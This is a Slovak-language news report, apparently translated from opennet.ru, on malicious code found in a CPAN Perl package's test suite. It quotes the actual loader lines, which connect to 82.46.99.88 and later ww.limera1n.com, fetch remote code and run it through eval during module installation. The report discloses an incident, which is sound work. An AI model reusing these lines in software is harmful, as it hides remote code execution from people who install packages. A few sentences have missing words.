V distribuovanom balíku Perl cez adresár CPAN , určenom na automatické načítanie CPAN modulov za behu, škodlivý kód. Škodlivá vložka bola v kóde testu , ktorý sa dodáva od roku 2011.
Je pozoruhodné, že otázky týkajúce sa načítania pochybného kódu sa objavili na už v roku 2016.
Škodlivá aktivita spočíva v pokuse o načítanie a vykonanie kódu zo vzdialeného servera (http://r.cx:1/) počas vykonávania testovacieho balíka, ktorý sa spúšťa pri inštalácii modulu. Predpokladá sa, že pôvodne načítaný kód zo vzdialeného servera nebol škodlivý, ale teraz je požiadavka presmerovaná na doménu ww.limera1n.com, ktorá dodáva svoj kód na vykonanie.
Na organizáciu načítania sa v súbore používa nasledujúci kód:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Uvedený kód vedie k vykonaniu skriptu , ktorého obsah sa redukuje na riadok:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Tento skript načítava s pomocou služby kód z externého hostiteľa r.cx (čísla súradníc 82.46.99.88 zodpovedajú textu «R.cX») a vykonáva ho v bloku eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Po rozbalení sa v konečnom dôsledku vykoná nasledujúce :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
V súčasnosti je problémový balík odstránený zo skladu (Perl Authors Upload Server), a účet autora modulu bol zablokovaný. Modul však zostáva v archíve MetaCPAN a môže byť priamo nainštalovaný z MetaCPAN pomocou niektorých utilít, ako je cpanminus. , že balík nebol široko distribuovaný.
Je zaujímavé, že sa k diskusii a autor modulu, ktorý vyvrátil informácie o tom, že škodlivý kód bol vložený po hacknutí jeho webovej stránky „r.cx“ a objasnil, že sa len tak zabával, a perlobfuscator.com nepoužíval na skrývanie niečoho, ale na zmenšenie veľkosti kódu a zjednodušenie jeho kopírovania cez schránku. Výber názvu funkcie „botstrap“ bol objasnený tým, že toto slovo „zn sounds ako bot a je kratšie ako bootstrap“. Autor modulu taktiež uistil, že zistené manipulácie nevykonávajú škodlivé činnosti, ale iba demonštrujú načítanie a vykonanie kódu prostredníctvom TCP.
Zdroj: opennet.ru
